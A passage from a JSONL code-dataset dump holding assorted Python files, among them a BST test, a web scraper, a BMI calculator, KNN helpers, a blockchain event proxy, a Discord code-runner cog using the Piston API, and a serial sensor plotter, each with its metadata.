test_has_children(self):\n\t\t'''\n\t\tBinarySearchTree has left and right children\n\t\t'''\n\t\tbst = BinarySearchTree()\n\t\tchildren = None\n\t\tself.assertTrue(bst, bst.children())\n\n\tdef test_has_insert(self):\n\n\t\t'''\n\t\tTest to see if inarySearchTree has insert method\n\t\t'''\n\t\tbst = BinarySearchTree()\n\t\tself.assertTrue(bst, bst.insert())\n\n\n\n\nif __name__ == '__main__':\n\tunittes.main()","sub_path":"test_bst.py","file_name":"test_bst.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"32014031","text":"from utils import constants\nfrom utils.utils import scrap as get_content, Country, log\nfrom bs4 import BeautifulSoup\n\n\ndef scrap():\n content = get_content(constants.WEBSITE)\n if content is None:\n return None\n return parse(content)\n\n\ndef parse(content):\n soup = BeautifulSoup(content, \"html.parser\")\n combo_div = soup.find(\"div\", {\"id\": \"special_navi_body\"})\n if combo_div is None:\n return None\n a_tags = combo_div.find_all(\"a\", \"special\")\n result = []\n for a in a_tags:\n result.append(Country(a.string, a[\"href\"]))\n print(result)\n return result\n\n\nif __name__ == \"__main__\":\n scrap()\n","sub_path":"fetch/utils/scrap_countries.py","file_name":"scrap_countries.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"320564501","text":"import time\r\ncont = ''\r\nwhile cont != 'stop':\r\n m = float(input(\"Entre ta masse en kg : \"))\r\n t = float(input(\"Entre ta taille en m : \"))\r\n\r\n imc = m/(t*t)\r\n\r\n print(\"Calcul de l'imc\")\r\n time.sleep(2)\r\n print(\"Ton imc est de : \" , imc)\r\n\r\n\r\n if imc < 18.5 and imc >= 15 :\r\n print(\"Maigre\")\r\n\r\n elif imc >= 18.5 and imc < 25 :\r\n print(\"Normal\")\r\n\r\n elif imc >= 25 and imc < 30 :\r\n print(\"Excès pondéral\")\r\n\r\n elif imc > 30 and imc < 35:\r\n print(\"Obèse\")\r\n\r\n elif imc > 35:\r\n print(\"Très obèse. La va vraiment falloir faire quelque chose\")\r\n\r\n cont = str(input())\r\n","sub_path":"imc.py","file_name":"imc.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"22541315","text":"##encoding=UTF8\n\n\"\"\"\n\ncompatibility: compatible to python2 and python3\n\nprerequisites: sklearn, numpy\n\nimport:\n from angora.DATASCI.knn import dist, knn_find, knn_classify, knn_impute\n\"\"\"\n\nfrom __future__ import print_function\nfrom sklearn.neighbors import DistanceMetric\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.neighbors import KNeighborsClassifier\n \ndef dist(X, Y, distance_function = \"euclidean\"):\n \"\"\"calculate X, Y distance matrix\n [Args]\n ------\n X : m samples\n Y : n samples\n distance_function : user_defined distance\n \n [Returns]\n ---------\n distance_matrix: n * m distance matrix\n \n \n we have those built-in function. Default = euclidean\n \n \"euclidean\" EuclideanDistance sqrt(sum((x - y)^2))\n \"manhattan\" ManhattanDistance sum(|x - y|)\n \"chebyshev\" ChebyshevDistance sum(max(|x - y|))\n \"minkowski\" MinkowskiDistance sum(|x - y|^p)^(1/p)\n \"wminkowski\" WMinkowskiDistance sum(w * |x - y|^p)^(1/p)\n \"seuclidean\" SEuclideanDistance sqrt(sum((x - y)^2 / V))\n \"mahalanobis\" MahalanobisDistance sqrt((x - y)' V^-1 (x - y))\n \"\"\"\n distance_calculator = DistanceMetric.get_metric(distance_function)\n return distance_calculator.pairwise(X, Y)\n\ndef knn_find(train, test, k = 2):\n \"\"\"find first K knn neighbors of test samples from train samples\n \n [Args]\n ----\n train: train data {array like, m x n, m samples, n features}\n list of sample, each sample are list of features.\n e.g. [[age = 18, weight = 120, height = 167],\n [age = 45, weight = 180, height = 173],\n ..., ]\n \n test: test data {array like, m x n, m samples, n features}\n data format is the same as train data\n \n k: number of neighbors\n how many neighbors you want to find\n \n [Returns]\n -------\n distances: list of distance of knn-neighbors from test data\n [[dist(test1, train_knn1), dist(test1, train_knn2), ...],\n [dist(test2, train_knn1), dist(test2, train_knn2), ...],\n ..., ]\n \n indices: list of indice of knn-neighbors from test data\n [[test1_train_knn1_index, test1_train_knn2_index, ...],\n [test2_train_knn1_index, test2_train_knn2_index, ...],\n ..., ] \n \"\"\"\n nbrs = NearestNeighbors(n_neighbors=k, algorithm=\"kd_tree\").fit(train) # default = \"kd_tree\" algorithm\n return nbrs.kneighbors(test)\n\ndef knn_classify(train, train_label, test, k=1, standardize=True):\n \"\"\"classify test using KNN (k=1) algorithm\n \n usually the KNN classifier works good if all the features of the train\n data are continual value\n \n [Args]\n ------\n train: train data (see knn_find), {array like, m x n, m samples, n features}\n \n train_label: train data's label, {array like, m x n, m samples, n features}\n \n test: test data\n \n k: knn classify value\n \n standardize: remove mean and variance or not\n \n [Returns]\n ---------\n test_label: test data's label\n \n [Notice]\n --------\n The sklearn.neighbors.KNeighborsClassifier doesn't do pre-processing\n this wrapper provide an option for that\n \"\"\"\n from .preprocess import prep_standardize\n if standardize:\n train, test = prep_standardize(train, test) # eliminate mean and variance\n neigh = KNeighborsClassifier(n_neighbors=k) # knn classifier\n neigh.fit(train, train_label) # training\n return neigh.predict(test) # classifying","sub_path":"angora/DATASCI/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"385444841","text":"import functools\nimport itertools\nimport logging\nimport math\nimport socket\nimport time\nfrom typing import Any, Callable, Dict, List, Mapping\n\nimport gevent\n\nimport relay.concurrency_utils as concurrency_utils\n\nfrom .events import BlockchainEvent\n\nlogger = logging.getLogger(\"proxy\")\n\n\nqueryBlock = \"latest\"\nupdateBlock = \"pending\"\n\nreconnect_interval = 3 # 3s\n\n\ndef get_new_entries(filter, callback):\n new_entries = filter.get_new_entries()\n if new_entries:\n logger.debug(\"new entries for filter %s: %s\", filter, new_entries)\n for event in new_entries:\n callback(event)\n\n\ndef watch_filter(filter, callback):\n while 1:\n get_new_entries(filter, callback)\n gevent.sleep(1.0)\n\n\nclass Proxy(object):\n event_builders: Mapping[str, Callable[[Any, int, int], BlockchainEvent]] = {}\n standard_event_types: List[str] = []\n\n def __init__(self, web3, abi, address: str) -> None:\n self._web3 = web3\n self._proxy = web3.eth.contract(abi=abi, address=address)\n self.address = address\n\n def _watch_filter(self, eventname: str, function: Callable, params: Dict = None):\n while True:\n try:\n filter = getattr(self._proxy.events, eventname).createFilter(**params)\n watch_filter_greenlet = gevent.spawn(watch_filter, filter, function)\n logger.info(\n \"Connected to filter for {}:{}\".format(self.address, eventname)\n )\n return watch_filter_greenlet\n except socket.timeout as err:\n logger.warning(\n \"Timeout in filter creation, try to reconnect: \" + str(err)\n )\n gevent.sleep(reconnect_interval)\n except socket.error as err:\n logger.warning(\n \"Socketerror in filter creation, try to reconnect:\" + str(err)\n )\n gevent.sleep(reconnect_interval)\n except ValueError as err:\n logger.warning(\n \"ValueError in filter creation, try to reconnect:\" + str(err)\n )\n gevent.sleep(reconnect_interval)\n\n def start_listen_on(\n self, eventname: str, function: Callable, params: Dict = None\n ) -> None:\n def on_exception(filter):\n logger.warning(\"Filter {} disconnected, trying to reconnect\".format(filter))\n gevent.sleep(reconnect_interval)\n filter = self._watch_filter(eventname, function, params)\n filter.link_exception(on_exception)\n\n if params is None:\n params = {}\n params.setdefault(\"fromBlock\", updateBlock)\n params.setdefault(\"toBlock\", updateBlock)\n watch_filter_greenlet = self._watch_filter(eventname, function, params)\n watch_filter_greenlet.link_exception(on_exception)\n\n def get_events(\n self, event_name, filter_=None, from_block=0, timeout: float = None\n ) -> List[BlockchainEvent]:\n if event_name not in self.event_builders.keys():\n raise ValueError(\"Unknown eventname {}\".format(event_name))\n\n if filter_ is None:\n filter_ = {}\n\n logfilter = getattr(self._proxy.events, event_name).createFilter(\n fromBlock=from_block, toBlock=queryBlock, argument_filters=filter_\n )\n\n queries = [logfilter.get_all_entries]\n results = concurrency_utils.joinall(queries, timeout=timeout)\n return sorted_events(self._build_events(results[0]))\n\n def get_all_events(\n self, filter_=None, from_block: int = 0, timeout: float = None\n ) -> List[BlockchainEvent]:\n queries = [\n functools.partial(\n self.get_events, type, filter_=filter_, from_block=from_block\n )\n for type in self.standard_event_types\n ]\n results = concurrency_utils.joinall(queries, timeout=timeout)\n return sorted_events(list(itertools.chain.from_iterable(results)))\n\n def _build_events(self, events: List[Any]):\n current_blocknumber = self._web3.eth.blockNumber\n return [self._build_event(event, current_blocknumber) for event in events]\n\n def _build_event(\n self, event: Any, current_blocknumber: int = None\n ) -> BlockchainEvent:\n event_type: str = event.get(\"event\")\n blocknumber: int = event.get(\"blockNumber\")\n if current_blocknumber is None:\n current_blocknumber = blocknumber\n timestamp: int = self._get_block_timestamp(blocknumber)\n return self.event_builders[event_type](event, current_blocknumber, timestamp)\n\n def _get_block_timestamp(self, blocknumber: int) -> int:\n if blocknumber is not None:\n timestamp = self._web3.eth.getBlock(blocknumber).timestamp\n else:\n timestamp = time.time()\n return timestamp\n\n\ndef sorted_events(events: List[BlockchainEvent]) -> List[BlockchainEvent]:\n def key(event):\n if event.blocknumber is None:\n return math.inf\n return event.blocknumber\n\n return sorted(events, key=key)\n","sub_path":"relay/blockchain/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"433820382","text":"import numpy as np\nimport random\nimport image_tools\nfrom PIL import Image\n\nrandom.seed(1000)\nDIMENSIONS_RANGE = (1, 20)\n\n\ndef test_create_img_from_color_map():\n for i in range(100):\n dimensions = random.randint(DIMENSIONS_RANGE[0], DIMENSIONS_RANGE[1]), \\\n random.randint(DIMENSIONS_RANGE[0], DIMENSIONS_RANGE[1])\n color_map = np.zeros([dimensions[0], dimensions[1], 3], dtype=np.uint8)\n img = image_tools.create_image_from_color_map(color_map)\n assert type(img) == Image.Image\n img = image_tools.create_image_from_color_map(color_map, True)\n assert type(img) == Image.Image\n\n","sub_path":"src/tests/test_image_tools.py","file_name":"test_image_tools.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"287604005","text":"import unittest\nfrom Queue import LifoQueue\nfrom Queue import Queue\nfrom random import randint\n\nclass MyQueue():\n\n\tdef __init__(self):\n\t\tself.stackNewest = LifoQueue()\n\t\tself.stackOldest = LifoQueue()\n\t\t\n\tdef shiftStacks(self):\n\t\tif self.stackOldest.empty():\n\t\t\twhile not self.stackNewest.empty():\n\t\t\t\tself.stackOldest.put(self.stackNewest.get())\n\n\tdef put(self, item):\n\t\tself.stackNewest.put(item)\n\n\n\tdef get(self):\n\t\tself.shiftStacks()\n\t\treturn self.stackOldest.get()\n\nclass Test(unittest.TestCase):\n\t'''Tests MyQueue against a real Queue'''\n\ttest_q = Queue()\n\tmy_q = MyQueue()\n\n\tdef test_myQ(self):\n\t\tfor i in range(100):\n\t\t\tchoice = randint(0,10)\n\t\t\tif choice <= 5: # enqueue\n\t\t\t\telement = randint(1,10)\n\t\t\t\tself.my_q.put(element)\n\t\t\t\tself.test_q.put(element)\n\t\t\t\tprint(\"Enqueued {}\", element)\n\t\t\telif not self.test_q.empty(): \n\t\t\t\ttop1 = self.test_q.get()\n\t\t\t\ttop2 = self.my_q.get()\n\t\t\t\tself.assertEqual(top1, top2)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Chapter3/34QueueViaStacks.py","file_name":"34QueueViaStacks.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"439428718","text":"import pandas as pd\nimport csv\nimport numpy as np\nfrom tensorflow.keras.losses import MSE, MAE\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\n\n\ndef calculate_delivery_date(quiz_label):\n quiz_data = pd.read_csv(\"./data/quiz.tsv\", sep=\"\\t\")\n quiz_data = pd.to_datetime(quiz_data[\"acceptance_scan_timestamp\"].str.slice(0, 10))\n out_file = open('./data/final_predict_RF.csv', 'w+', newline='')\n tsv_writer = csv.writer(out_file, delimiter='\\t')\n for index, value in quiz_data.items():\n tsv_writer.writerow([str(15000001 + index), str(value + pd.Timedelta(days=quiz_label[index]))[:10]])\n if index % 100000 == 0:\n print(index)\n out_file.flush()\n out_file.close()\n\n\ndef load_dataset(train_address, test_address, label_address):\n X = pd.read_csv(\"./data/\" + train_address)\n x_quiz = pd.read_csv(\"./data/\" + test_address)\n y = pd.read_csv(\"./data/\" + label_address)['label']\n return X, x_quiz, y\n\n\nX, x_quiz, y = load_dataset(\"final_train.csv\", \"final_test.csv\", \"label.csv\")\nprint(\"load data\")\nX = np.asarray(X).astype('float32')\nx_quiz = np.asarray(x_quiz).astype('float32')\ny = np.asarray(y).astype('float32')\ntrain_X, test_X, train_y, test_y = train_test_split(X, y, test_size=0.001)\n##### Training Phase ####\nmodel = DecisionTreeRegressor(random_state=0)\nmodel.fit(train_X, train_y)\npred_train = model.predict(train_X)\npred_test = model.predict(test_X)\nprint(model.score(test_X,test_y))\n\ntest_mse = MSE(test_y, pred_test)\ntest_mae = MAE(test_y, pred_test) / 2\nprint(\"TEST MSE : % f\" % (test_mse))\nprint(\"TEST MAE : % f\" % (test_mae))\ntrain_mse = MSE(train_y, pred_train)\ntrain_mae = MAE(train_y, pred_train) / 2\nprint(\"TRAIN MSE : % f\" % (train_mse))\nprint(\"TRAIN MAE : % f\" % (train_mae))\n\n\nresult_df = pd.DataFrame(model.predict(x_quiz))\nresult_df.to_csv(\"./data/quiz_result_RF.csv\", header=None)\n# result_df = pd.read_csv(\"./data/quiz_result_RF.csv\", header=None)\ncalculate_delivery_date(result_df[1].values.round())\n","sub_path":"DecisionTree_model.py","file_name":"DecisionTree_model.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"471116760","text":"\"\"\"This is a cog for a discord.py bot.\nIt will add the run command for everyone to use\n\nCommands:\n run Run code using the Piston API\n\n\"\"\"\n# pylint: disable=E0402\nimport typing\nimport json\nfrom discord import Embed, errors as discord_errors\nfrom discord.ext import commands\nfrom discord.utils import escape_mentions\nfrom .utils.codeswap import add_boilerplate\n\n# DEBUG = True\n\n\nclass Run(commands.Cog, name='CodeExecution'):\n def __init__(self, client):\n self.client = client\n self.languages = {\n 'asm': 'nasm',\n 'awk': 'awk',\n 'bash': 'bash',\n 'bf': 'brainfuck',\n 'brainfuck': 'brainfuck',\n 'c': 'c',\n 'c#': 'csharp',\n 'c++': 'cpp',\n 'cpp': 'cpp',\n 'cs': 'csharp',\n 'csharp': 'csharp',\n 'duby': 'ruby',\n 'el': 'emacs',\n 'elisp': 'emacs',\n 'emacs': 'emacs',\n 'elixir': 'elixir',\n 'go': 'go',\n 'java': 'java',\n 'javascript': 'javascript',\n 'jl': 'julia',\n 'julia': 'julia',\n 'js': 'javascript',\n 'kotlin': 'kotlin',\n 'nasm': 'nasm',\n 'node': 'javascript',\n 'php': 'php',\n 'php3': 'php',\n 'php4': 'php',\n 'php5': 'php',\n 'py': 'python3',\n 'py3': 'python3',\n 'python': 'python3',\n 'python2': 'python2',\n 'python3': 'python3',\n 'r': 'r',\n 'rb': 'ruby',\n 'ruby': 'ruby',\n 'rs': 'rust',\n 'rust': 'rust',\n 'sage': 'python3',\n 'swift': 'swift',\n 'ts': 'typescript',\n 'typescript': 'typescript',\n }\n self.last_run_command_msg = dict()\n self.last_run_outputs = dict()\n\n async def get_api_response(self, ctx, language):\n message = [s.strip() for s in ctx.message.content.replace('```', '```\\n').split('```')]\n\n if len(message) != 3:\n raise commands.BadArgument('No code or invalid code present')\n\n if language not in self.languages:\n language = message[1].split()[0]\n if language not in self.languages:\n raise commands.BadArgument(f'Unsupported language: {language}')\n\n args = [x for x in message[0].split('\\n')[1:] if x]\n if message[1].startswith(language):\n source = message[1].lstrip(language).strip()\n else:\n source = message[1].strip()\n source = add_boilerplate(language, source)\n\n if not source:\n raise commands.BadArgument(f'No source code found')\n\n language = self.languages[language]\n data = {'language': language, 'source': source, 'args': args}\n headers = {'Authorization': self.client.config[\"emkc_key\"]}\n\n # Call piston API\n # if DEBUG:\n # await ctx.send('```DEBUG:\\nSending Source to Piston\\n' + str(data) + '```')\n async with self.client.session.post(\n 'https://emkc.org/api/v1/piston/execute',\n headers=headers,\n data=json.dumps(data)\n ) as response:\n r = await response.json()\n if not response.status == 200:\n raise commands.CommandError(f'ERROR calling Piston API. {response.status}')\n if r['output'] is None:\n raise commands.CommandError(f'ERROR calling Piston API. No output received')\n\n output = escape_mentions('\\n'.join(r['output'].split('\\n')[:30]))\n if len(output) > 1945:\n output = output[:1945] + '[...]'\n\n # Logging\n logging_data = {\n 'server': ctx.guild.name if ctx.guild else 'DMChannel',\n 'server_id': str(ctx.guild.id) if ctx.guild else '0',\n 'user': f'{ctx.author.name}#{ctx.author.discriminator}',\n 'user_id': str(ctx.author.id),\n 'language': language,\n 'source': source\n }\n # if DEBUG:\n # await ctx.send('```DEBUG:\\nSending Log\\n' + str(logging_data) + '```')\n\n async with self.client.session.post(\n 'https://emkc.org/api/internal/piston/log',\n headers=headers,\n data=json.dumps(logging_data)\n ) as response:\n if response.status != 200:\n await self.client.log_error(\n commands.CommandError(f'Error sending log. Status: {response.status}'),\n ctx\n )\n\n return (\n f'Here is your output {ctx.author.mention}\\n'\n + '```\\n'\n + output\n + '```'\n )\n\n async def send_howto(self, ctx):\n languages = sorted(set(self.languages.values()))\n\n run_instructions = (\n '**Here are my supported languages:**\\n'\n + ', '.join(languages) +\n '\\n\\n**You can run code like this:**\\n'\n '/run \\ncommand line parameters (optional) - 1 per line\\n'\n '\\\\`\\\\`\\\\`\\nyour code\\n\\\\`\\\\`\\\\`\\n'\n '\\n**Provided by the EngineerMan Discord Server:**\\n'\n 'visit -> **emkc.org/run** to get it in your own server\\n'\n 'visit -> **discord.gg/engineerman** for more info\\n'\n 'visit -> **https://top.gg/bot/730885117656039466** and vote if you found this bot helpful'\n )\n\n e = Embed(title='I can execute code right here in Discord! (click here for instructions)',\n description=run_instructions,\n url='https://github.com/engineer-man/piston-bot#how-to-use',\n color=0x2ECC71)\n\n await ctx.send(embed=e)\n\n @commands.command()\n async def run(self, ctx, language: typing.Optional[str] = None):\n \"\"\"Run some code\n Type \"/run\" for instructions\"\"\"\n await ctx.trigger_typing()\n if not language or '```' not in ctx.message.content:\n await self.send_howto(ctx)\n return\n api_response = await self.get_api_response(ctx, language)\n msg = await ctx.send(api_response)\n self.last_run_command_msg[ctx.author.id] = ctx.message\n self.last_run_outputs[ctx.author.id] = msg\n\n @commands.command(hidden=True)\n async def edit_last_run(self, ctx, language: typing.Optional[str] = None):\n \"\"\"Run some edited code\"\"\"\n if not ctx.invoked_with == 'run':\n return\n if not language:\n return\n try:\n msg_to_edit = self.last_run_outputs[ctx.author.id]\n api_response = await self.get_api_response(ctx, language)\n await msg_to_edit.edit(content=api_response)\n except KeyError:\n return\n except discord_errors.NotFound:\n return\n except Exception as e:\n msg_to_edit = self.last_run_outputs[ctx.author.id]\n await msg_to_edit.edit(content=self.client.error_string)\n raise e\n\n @commands.Cog.listener()\n async def on_message_edit(self, before, after):\n if after.author.bot:\n return\n if before.author.id not in self.last_run_command_msg:\n return\n if before.id != self.last_run_command_msg[before.author.id].id:\n return\n content = after.content.lower()\n prefixes = await self.client.get_prefix(after)\n if isinstance(prefixes, str):\n prefixes = [prefixes, ]\n if not any(content.startswith(f'{prefix}run') for prefix in prefixes):\n return\n ctx = await self.client.get_context(after)\n if ctx.valid:\n await self.client.get_command('edit_last_run').invoke(ctx)\n\n\ndef setup(client):\n client.add_cog(Run(client))\n","sub_path":"src/cogs/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":7730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"458386613","text":"def addBinary(a: str, b: str):\n n1 = len(a) - 1\n n2 = len(b) - 1\n carry = 0\n a = [int(item) for item in a]\n b = [int(item) for item in b]\n c = []\n i = n1\n j = n2\n while i >= 0 and j >=0:\n if a[i] + b[j] + carry == 2:\n c.insert(0, 0)\n carry = 1\n elif a[i] + b[j] + carry == 3:\n c.insert(0, 1)\n carry = 1\n else:\n c.insert(0, a[i]+b[j]+carry)\n carry = 0\n i = i - 1\n j = j - 1\n while i>=0:\n if a[i] + carry == 2:\n c.insert(0, 0)\n carry = 1\n else:\n c.insert(0, a[i] + carry)\n carry = 0\n i = i - 1\n while j>=0:\n if b[j] + carry == 2:\n c.insert(0, 0)\n carry = 1\n else:\n c.insert(0, b[j] + carry)\n carry = 0\n j = j - 1\n if carry !=0:\n c.insert(0, carry)\n d = \"\"\n for x in c:\n d = d + str(x)\n return d\n\n\na = \"101111\"\nb = \"10\"\nprint(addBinary(a, b))\n","sub_path":"leetcode/binary_add.py","file_name":"binary_add.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"32645037","text":"# coding = utf-8\n\nimport hashlib\nimport urllib.parse\n\nfrom db_operator import BazaarDLL\n\n\ndef get_md5_value(content):\n m = hashlib.md5(str.encode(content))\n return m.hexdigest()\n\n\ndef get_md5(model):\n content = urllib.parse.urlencode(model)\n # print(content)\n return get_md5_value(content)\n\n\nif __name__ == \"__main__\":\n l = BazaarDLL.get_single_model(\"sh202001\")\n c = get_md5(l)\n print(c)\n","sub_path":"base-spider/hash_common.py","file_name":"hash_common.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"34341204","text":"import argparse\nfrom Serial import connectToSerial # External file\nfrom matplotlib import animation as ani\nfrom matplotlib import pyplot as plt\nfrom sys import argv\nfrom os import fsync, rename, listdir\n\nData_Per_Line = 11 # 2x4 FSR + 2 PZT + 1 Time\nMax_Resistive_Val = 25000\nMin_Resistive_Val = -10\nMax_Electric_Val = 25000\nElectric_Time_Scale = 6000\ndefault_writeFolder = '../SampleData/'\ndefault_writefile = 'data'\nsensor_vals = [0]*11\nSerial_Connection = connectToSerial(\"COM4\") \nargs = []\nTempWriteFile = ''\n\n\ndef parserSetup():\n\tparser = argparse.ArgumentParser(description='Setup connection to the Nucleo MCU and perform various tasks', formatter_class=argparse.RawTextHelpFormatter)\n\tgraph_group = parser.add_mutually_exclusive_group()\n\tparser.add_argument('-p', nargs='?', type=int, default=0, dest=\"LineAmount\",\n\t\t\t\t\thelp='print received data from serial with optional amount of lines. < 0 for endless output')\n\tparser.add_argument('-w', nargs='?', type=str, default=0, dest=\"WriteFile\",\n\t\t\t\t\thelp='write data to output file (default: data_set.txt)')\n\tgraph_group.add_argument('-b', '-bar', nargs='*', type=int, metavar = ('yLimMax', 'yLimMin'), dest=\"barplot\", \n\t\t\t\t\thelp='display an animated histogram with the resistive values (default yLimits: [{} {}])'.format( Min_Resistive_Val, Max_Resistive_Val))\n\tgraph_group.add_argument('-l', '-line', nargs='*', type=int, metavar = ('yLimMax', 'TimeScale'), dest=\"lineplot\", \n\t\t\t\t\thelp='display an animated lineplot with the electric values (defaults: [{} {}])'.format( Max_Electric_Val, Electric_Time_Scale))\n\treturn parser\n\n\ndef parseDataLine(data_string):\n\t# Retrieve integers found in a string and place them seperated in an array\n\twhile(1):\n\t\t# extra = []\n\t\tl = []\n\t\tfor part in data_string.split():\n\t\t\tif not part: continue\n\t\t\ttry:\n\t\t\t\tl.append(int(part)) \n\t\t\texcept ValueError:\n\t\t\t\t# extra.append(part)\n\t\t\t\tpass\n\t\tif len(l) < 6:\n\t\t\tyield []\n\t\t# print(locals())\n\t\tsensor_vals[l[0]] = l[1]\n\t\tsensor_vals[l[0]+4] = l[2]\n\t\tsensor_vals[8] = l[3]\n\t\tsensor_vals[9] = l[4]\n\t\tsensor_vals[10] = l[5]\n\t\tyield sensor_vals\ndef getSerialData():\n\tdata = \"\"\n\twhile(1):\n\t\treadbytes = Serial_Connection.readline()\n\t\ttry:\n\t\t\tdata += readbytes.decode(\"ascii\") # Read a line and convert to ascii\n\t\texcept UnicodeDecodeError:\n\t\t\tprint(\"Dataline contains illegal ascii characters.\")\n\t\t\tcontinue\n\n\t\tif('\\n' not in data): # Line not ended yet -> continue\n\t\t\tcontinue \n\t\tif \"warning\" in data:\n\t\t\tprint(data)\n\t\t\tdata = \"\"\n\t\t\tcontinue\t\n\t\tif \"data\" not in data:\n\t\t\tdata = \"\"\n\t\t\tcontinue\n\t\t\t\n\t\tparsed = next(parseDataLine(data))\n\n\t\tif len(parsed) != Data_Per_Line:\n\t\t\tparsed += [0]*(Data_Per_Line-len(parsed))\n\n\t\t# if args.LineAmount != 0: printHandler(parsed)\n\t\tif args.WriteFile != 0: writeHandler(parsed)\n\n\t\tyield parsed\n\n\t\tdata = \"\"\n\ndef printDataLine(data):\n\tprint('|'.join('{:6}'.format(x) for x in data))\n\ndef printHandler(print_arg):\n\tif print_arg is None:\n\t\twhile(1):\n\t\t\tprintDataLine(next(getSerialData()))\n\telif type(print_arg) is int and print_arg > 0:\n\t\tfor x in range(print_arg):\n\t\t\tprintDataLine(next(getSerialData()))\n\telif type(print_arg) is list:\n\t\tprintDataLine(print_arg)\n\ndef writeHandler(data):\n\tTempWriteFile.write(' '.join(str(x) for x in data) + '\\n')\n\ndef drawSensorPlots(args):\n\n\t# def parse_args(args):\n\n\tdef init():\n\t\t# init might help with speeding up the plotting by using the blit.\n\t\tax1 = axes[0]\n\t\tax1.set_ylim(0,25000)\n\t\tax1.set_title('Barplot of resistive sensor output')\n\t\tbar_patches = ax1.bar(range(1,9), [0]*8, 0.8, color='c')\n\n\t\tax2 = axes[1]\n\t\tax2.set_xlim(-time_scale, 0)\n\t\tax2.set_ylim(-yLimMax, yLimMax)\n\t\tax2.set_title('Lineplot of the electric sensor outputs in time')\n\t\tax2.set_xlabel('time (ms)')\n\n\t\tlines = list(ax2.plot(0, 0, linestyle=\"-\")[0] for n in range(2))\n\n\t\treturn [rect for rect in bar_patches] + lines\n\n\tdef animate(i, sensor_data, time_data):\n\t\t# new data coming in\n\t\tvalues = next(getSerialData())\n\t\tfor rect, h in zip(bar_patches, values[:8]):\n\t\t\trect.set_height(h) \n\n\t\t# remove values if they are outside the time scale\n\t\tif time_data[0] - values[10]/1000 < -time_scale: \n\t\t\ttime_data.pop(0)\n\t\t\tfor n in range(2):\n\t\t\t\tsensor_data[n].pop(0)\n\n\t\t# add new values\n\t\tfor n in range(2):\n\t\t\tsensor_data[n].append(values[8+n])\n\t\ttime_data.append(values[10]/1000)\n\n\t\t# set delta times for plotting\n\t\tdelta_t = [(x-time_data[-1]) for x in time_data]\n\n\t\t# setup the lines\n\t\tfor n in range(2):\n\t\t\tlines[n].set_data(delta_t, sensor_data[n])\n\n\t\treturn [rect for rect in bar_patches] + lines\n\n\ttime_scale = 6000\n\tyLimMin = 12500\n\tyLimMax = 12500\n\n\tfig, axes = plt.subplots(2,1)\n\n\tbar_patches = axes[0].bar(range(1,9), [0]*8, 0.8, color='c')\n\tlines = list(axes[1].plot(0, 0, linestyle=\"-\")[0] for n in range(2))\n\n\tstart_values = next(getSerialData())\n\tsensor_data = [[start_values[8]], [start_values[9]]]\n\ttime_data = [start_values[10]/1000]\n\n\tanim = ani.FuncAnimation(fig, animate, fargs = (sensor_data, time_data), \n\t\tinit_func = init, blit = True, interval = 5)\n\tplt.show()\n\ndef main():\n\tglobal args, TempWriteFile\n\tparser = parserSetup()\n\targs = parser.parse_args()\n\n\t# if writing to file is required -> open a temp file\n\tif args.WriteFile != 0: TempWriteFile = open('tmp', 'w')\n\t\n\tif len(argv) < 2:\n\t\tparser.print_help()\n\telif args.barplot is not None:\n\t\tif len(args.barplot) > 2: parser.error(\"Too many arguments for histogram, expected a maximum of 2\")\n\t\tdrawBarPlot(*args.barplot)\n\telif args.lineplot is not None:\n\t\tif len(args.lineplot) > 2: parser.error(\"Too many arguments for histogram, expected a maximum of 2\")\n\t\tdrawSensorPlots(args)\n\telif args.LineAmount != 0:\n\t\tprintHandler(args.LineAmount)\n\n\tif args.WriteFile != 0:\n\t\tTempWriteFile.flush()\n\t\tfsync(TempWriteFile.fileno())\n\t\tTempWriteFile.close()\n\t\tFileName = '{}.txt'.format(args.WriteFile or default_writefile)\n\t\tk = 0\n\t\twhile(FileName in listdir(default_writeFolder)):\n\t\t\tFileName = '{}_{}.txt'.format(args.WriteFile or default_writefile, k)\n\t\t\tk += 1\n\t\trename('tmp', default_writeFolder + FileName)\n\t\tprint(\"Saved data to {}\".format(default_writeFolder + FileName))\n\n\tprint(\"Connection to serial gracefully closed!\")\n\tSerial_Connection.close()\n\nif __name__ == '__main__':\n\tmain()","sub_path":"Code/DrawSensorOutput.py","file_name":"DrawSensorOutput.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"222490959","text":"# -*- coding: utf-8 -*-\n###########################################################################################\n#\n# module name for OpenERP\n# Copyright (C) 2015 qdodoo Technology CO.,LTD. ().\n#\n###########################################################################################\n\nfrom openerp import fields, models, api\nfrom openerp.osv import osv\nimport xlrd,base64\nfrom openerp.tools.translate import _\nfrom datetime import timedelta, datetime\nimport logging\nfrom openerp.tools import 